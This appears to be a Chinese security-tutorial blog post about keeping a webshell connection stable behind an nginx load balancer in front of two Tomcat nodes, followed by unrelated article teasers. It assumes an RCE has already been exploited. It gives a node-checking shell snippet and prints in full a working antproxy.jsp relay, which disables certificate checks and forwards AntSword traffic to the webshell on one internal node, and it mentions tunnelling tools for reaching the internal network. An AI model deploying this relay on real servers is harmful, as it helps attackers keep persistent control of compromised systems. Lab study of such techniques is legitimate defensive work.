安全中级3-nginx反向代理负载均衡的webshell

news2025/4/25 5:48:02

目录

一、负载均衡

1.nginx的负载均衡

2.nginx 支持的几种策略:

二、负载均衡下的webshell连接(负载均衡下的wenbshell环境下载地址)

1.内部网络的结构

2.场景描述

3.利用我们的中国蚁剑连接我们的代理服务器nginx

三、webshell遇到的难点(重点)

1.我们需要在每台机器上都要上传相同的weshell

2.我们执行命令的时候,不知道我们下次的请求会交给我们的哪台机器。(记得下载ifconfig命令包)

3.我们上传一些大一点的文件的时候,由于我们的机器飘忽不定就会导致我们的文件在一个机器上上传了一半,另一半就飘到另外一台机器了 。

4.由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网

四、解决方法

1.直接关闭一台tomcat机器(小伙子你活腻歪了)

2.执行前判断是否是自己需要执行的机器

3.在web层做一次HTTP流量的转发(重点推荐)

(1)原理

(2)转发过程 ​编辑

五、webshell具体操作办法

1.先创建一个antproxy.jsp的脚本,并且修改转发地址

2.将文件制作完成多保存几次,千万不要上传

3.修改shell配置,url部分填写为antproxy.jsp,其他不变

4.测试执行命令,查看IP

 六、webshell总结


一、负载均衡

1.nginx的负载均衡

        反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。

2.nginx 支持的几种策略:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair(第三方)根据响应时间分配
url_hash(第三方)根据url分配

        其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们重点研究轮询。

二、负载均衡下的webshell连接(负载均衡下的wenbshell环境下载地址)

1.内部网络的结构

        我们的nginx作为代理服务器,后面连接着我们的两个服务器node1和node2均是tomcat8作为负载均衡的服务器,而且他们都开放了8080端口只在内网中,我们在外部是连接不上的。

2.场景描述

        我们假设在真实的业务系统上,存在一个RCE的漏洞,并且我们已经上传了我们的脚本,可以让我们获取webshell

3.利用我们的中国蚁剑连接我们的代理服务器nginx

三、webshell遇到的难点(重点)

1.我们需要在每台机器上都要上传相同的weshell

        我们通过修改我们的一个tomcat服务器的ant.jsp文件为ant.txt时,发现连接的时候一会是正常的一会就会报错。

2.我们执行命令的时候,不知道我们下次的请求会交给我们的哪台机器。(记得下载ifconfig命令包)

        我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

 

 

3.我们上传一些大一点的文件的时候,由于我们的机器飘忽不定就会导致我们的文件在一个机器上上传了一半,另一半就飘到另外一台机器了 。

4.由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网

四、解决方法

1.直接关闭一台tomcat机器(小伙子你活腻歪了

        我们确实可以关闭其中一台机器,保留一台机器,这样我们是可以干其他的操作,但是在我们的实际环境中,关闭公司的一台服务器就会导致经济的损失,所以不建议使用。

2.执行前判断是否是自己需要执行的机器

        如果我们想要去准确的在某个机器上执行,我们通过写一个小的脚本,从而展示在我们面前到底是不是我们需要的机器,之后上传我们的文件。这样确保了我们想要执行命令的机器,但是依旧无法解决我们上传大文件,搭建http的隧道。

MYIP='ifconfig | grep "inet 172" | awk '{print $2}''

if [ $MYIP == "172.23.0.2" ]; then

        echo "node1,l will execute command. \n=======\n"

else

        echo "node2.try again."

fi

 

 

 

3.在web层做一次HTTP流量的转发(重点推荐)

(1)原理

        在我们服务器内网中,不仅nginx可以访问这两台服务器node1和node2,他们自己之间也可以互相的访问,我们进行一个流量的转发,无论服务器流量怎么漂移,它最终目的只会转发在一台机器上,就不会造成我们的大文件上传一半就漂移到其他机器去了。

(2)转发过程 

        我们的最终目的是:所有的数据包都能发给Node 1这台机器。

        首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:

        我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

        再来看红色线,第 2 步nginx把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

最后我们所有的流量都转向了我们的node1这台机器。

五、webshell具体操作办法

1.先创建一个antproxy.jsp的脚本,并且修改转发地址

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

  public static void ignoreSsl() throws Exception {

        HostnameVerifier hv = new HostnameVerifier() {

            public boolean verify(String urlHostName, SSLSession session) {

                return true;

            }

        };

        trustAllHttpsCertificates();

        HttpsURLConnection.setDefaultHostnameVerifier(hv);

    }

    private static void trustAllHttpsCertificates() throws Exception {

        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

            public X509Certificate[] getAcceptedIssuers() {

                return null;

            }

            @Override

            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

                // Not implemented

            }

            @Override

            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

                // Not implemented

            }

        } };

        try {

            SSLContext sc = SSLContext.getInstance("TLS");

            sc.init(null, trustAllCerts, new java.security.SecureRandom());

            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

        } catch (KeyManagementException e) {

            e.printStackTrace();

        } catch (NoSuchAlgorithmException e) {

            e.printStackTrace();

        }

    }

%>

<%

        String target = "http://172.24.0.2:8080/ant.jsp";

        URL url = new URL(target);

        if ("https".equalsIgnoreCase(url.getProtocol())) {

            ignoreSsl();

        }

        HttpURLConnection conn = (HttpURLConnection)url.openConnection();

        StringBuilder sb = new StringBuilder();

        conn.setRequestMethod(request.getMethod());

        conn.setConnectTimeout(30000);

        conn.setDoOutput(true);

        conn.setDoInput(true);

        conn.setInstanceFollowRedirects(false);

        conn.connect();

        ByteArrayOutputStream baos=new ByteArrayOutputStream();

        OutputStream out2 = conn.getOutputStream();

        DataInputStream in=new DataInputStream(request.getInputStream());

        byte[] buf = new byte[1024];

        int len = 0;

        while ((len = in.read(buf)) != -1) {

            baos.write(buf, 0, len);

        }

        baos.flush();

        baos.writeTo(out2);

        baos.close();

        InputStream inputStream = conn.getInputStream();

        OutputStream out3=response.getOutputStream();

        int len2 = 0;

        while ((len2 = inputStream.read(buf)) != -1) {

            out3.write(buf, 0, len2);

        }

        out3.flush();

        out3.close();

%>

 

2.将文件制作完成多保存几次,千万不要上传

3.修改shell配置,url部分填写为antproxy.jsp,其他不变

4.测试执行命令,查看IP

 六、webshell总结

        我们在做流量转发的时候,切记在中国蚁剑上新建文件,不要上传文件,一定要疯狂疯狂疯狂在疯狂的点击保存,点击二三十次就可以,一定记得不要上传,直接蚁剑新建保存

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/568278.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑待机或者睡眠后TeamViewer就无法连接了

电脑待机或者睡眠后TeamViewer就无法连接了 设置睡眠状态下不关闭网卡驱动 公司的笔记本&#xff0c;安装了teamviewer&#xff0c;离开时把teamviewer打开&#xff0c;回家后连接时提示伙伴未在机器上运行&#xff0c;此时电脑处于黑屏、待机、睡眠状态 其实电脑睡眠后会关掉网…

创新管理工具:低代码平台在学校管理中的应用实践

随着信息技术的不断发展&#xff0c;学校管理也随之发生了变革。传统的学校管理方式往往是依靠人工操作&#xff0c;存在信息不透明、效率低下等问题&#xff0c;而数字化管理的出现&#xff0c;可以帮助学校提高管理效率、降低管理成本、提升数据统计和分析能力。而低代码技术…

SWAT模型教程

详情点击链接&#xff1a;SWAT模型教程详情点击链接&#xff1a;SWAT模型&#xff08;建模方法、实例应用、高级进阶&#xff09; 一&#xff1a;基于网络资源的SWAT模型快速建模​ 二&#xff1a;基于遥感产品的SWAT模型率定与验证​ 三&#xff1a;基于水文响应单元&#xff…

相机光圈和快门

相机光圈和快门 光圈光圈结构光圈值由来光圈范围光圈作用控制画面明暗控制画面景深和锐度 自动光圈 Auto IrisDC-IRIS原理及问题P-IRIS工作原理 快门快门简介快门速度与曝光快门速度与运动安全快门速度高速快门和慢速快门B门和T门 参考文献 光圈 光圈结构 光圈&#xff08;Ap…

记一次 Android 源码编译刷机过程

0 背景 为了能在开发设备上运行 adb root 命令得到 root 权限&#xff0c;获得更加强大的调试能力、开发体验&#xff0c;方便以后阅读源码时 Debug 跟踪、进行定制化开发&#xff0c;需要编译 Android 源码 userdebug 版本并刷入手机当中。 1 准备 1.1 硬盘 首先 Android 源…

新星计划 Electron+vue2 桌面应用 2 项目编写

练手的项目&#xff0c;需求简单&#xff0c;打算做平面设计社交类的软件。 一、需求 练手用&#xff0c;简单处理&#xff0c;写个简单的记事本&#xff0c;本地保存txt&#xff0c;能导出为其他格式的文件。 获取用户的网卡地址用于数据加密&#xff0c;本地保存加密后的文…

想变身“科技型”企业?掌汇云数字化服务平台为工业升级加分

40万亿元&#xff01;占GDP比重达到33.2%&#xff0c;这就是国新办公布的2022年数据&#xff0c;中国工业可以说是当之无愧的支柱产业。 中国工业规模大、覆盖面广&#xff0c;企业员工众多&#xff0c;项目遍及海内外。但由于科技欠发达、信息不流通等因素&#xff0c;近些年…

IDEA中 lombok不生效解决方法

目录 前言: springboot启动的时候报错, 说没有lombok编译器 第一步: 检查插件lombok是否存在 第二步: 查看springboot 官方推荐的lombok版本 -> 2.1 第一步 找到这个parent ctrl点进去 -> 2.2 在点红框位置 进去 -> 2.3 ctrlf 搜索一下 lombok.version 复制这个…

[论文评析]mixup: B EYOND E MPIRICAL R ISK M INIMIZATION, ICLR 2018,

mixup: B EYOND E MPIRICAL R ISK M INIMIZATION 介绍MixupMixup的提出动机Mixup与常规数据增广方法的区别References 介绍 采用ERM训练的模型往往存在泛化能力差的情形-可能是在简单的记忆样本, 对于噪声干扰的鲁棒性很差. 这篇论文提出了一种新的数据增广方法-Mixup, 这里主…

【ChatGPT】不会用ChatGPT?这几个镜像网站解决你的烦恼。

个人主页&#xff1a;【&#x1f60a;个人主页】 文章目录 前言ChatGPT介绍WoChatA TalkChatGPT Next WebAI EDUCHATGPTSITES 前言 还在为需要魔法才能与ChatGPT见上一面而叹息吗&#xff0c;今我就为大家汇总了国内能使用ChatGPT的方法。 也就是用国内的镜像网站玩ChatGPT&…

javaWeb 酒店民宿预定信息管理系统myeclipse开发mysql数据库MVC模式java编程计算机网页设计

一、源码特点 java ssh酒店民宿预定信息管理系统是一套完善的web设计系统&#xff08;系统采用ssh框架进行设计开发&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为T…

2023阿里云学生服务器权益,含Clouder认证:云服务器ECS答案

文章目录 阿里云学生权益&#xff08;服务器使用7个月&#xff09;1、高校计划续费任务 - 飞天加速计划3.0&#xff08;2个任务&#xff09;2、任务1&#xff1a;完成实验《ECS云服务器新手上路》2.2&#xff1a; 续费6个月 3、任务2&#xff1a;Apsara Clouder云计算专项技能认…

【多线程】线程的可见性

目录 一、什么是线程的可见性二、可见性问题示例2.1 代码2.2 截图 三、解决可见性问题3.1 volatile关键字3.2 synchronized关键字 四、用volatile关键字解决可见性问题示例4.1 代码4.2 截图 五、用synchronized关键字解决可见性问题示例5.1 代码5.2 截图 六、可见性与原子性 一…

( 数组) 59. 螺旋矩阵 II ——【Leetcode每日一题】

❓59. 螺旋矩阵 II 难度&#xff1a;中等 给你一个正整数 n &#xff0c;生成一个包含 1 到 n 2 n^2 n2 所有元素&#xff0c;且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[[1,2,3],[8,9,4],[7,6,5…

如何动态显示物品提示?

UE5 插件开发指南 前言0 提示信息窗口类前言 为了使物品的排列简洁,各种游戏里的物品信息都是以提示的形式展示出来,而不是整个铺排陈列,只需要玩家鼠标悬停在物品上就自动显示出提示窗口,如下图所示: 这些提示信息在物品定义数据资产中已经定义了,所以这里要做的只是将…

大数据赋能商业地产研策

商业地产是城市经济的重要支柱&#xff0c;也是城市形象的重要名片。在消费者需求日益多元和个性化的背景下&#xff0c;商业地产面临着激烈的市场竞争和运营效率的挑战。如何在复杂多变的市场环境中&#xff0c;做出科学合理的投资决策和运营策略&#xff0c;是商业地产企业的…

Emacs之高效切换窗口(九十二)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

软件测试:功能测试----测试范围和测试策略

一、前言 什么是软件测试&#xff1f;测试能够给我们带来什么&#xff1f;对于企业有什么好处&#xff1f; 软件测试&#xff0c;说的直白就是找bug&#xff0c;而针对的就是我们使用的一些app&#xff0c;网页&#xff0c;系统等等。与之而来的还有硬件测试&#xff0c;这里…

【自动化测试】Java+Selenium自动化测试环境搭建

本主要介绍以Java为基础&#xff0c;搭建Selenium自动化测试环境&#xff0c;并且实现代码编写的过程。 1.Selenium介绍 Selenium 1.0 包含 core、IDE、RC、grid 四部分&#xff0c;selenium 2.0 则是在两位大牛偶遇相互沟通决定把面向对象结构化&#xff08;OOPP&#xff09…

微软 Build 2023:人工智能重新定义软件开发与工作的未来

2023年5月23日&#xff0c;美国华盛顿州西雅图 —— 微软年度开发者大会Build 2023在西雅图开幕&#xff0c;面对当今由AI引领的技术趋势&#xff0c;微软向超过20万名注册参会的开发者集中展示人工智能如何给软件开发的对象、过程和工具带来巨大变革&#xff0c;并重新定义工作…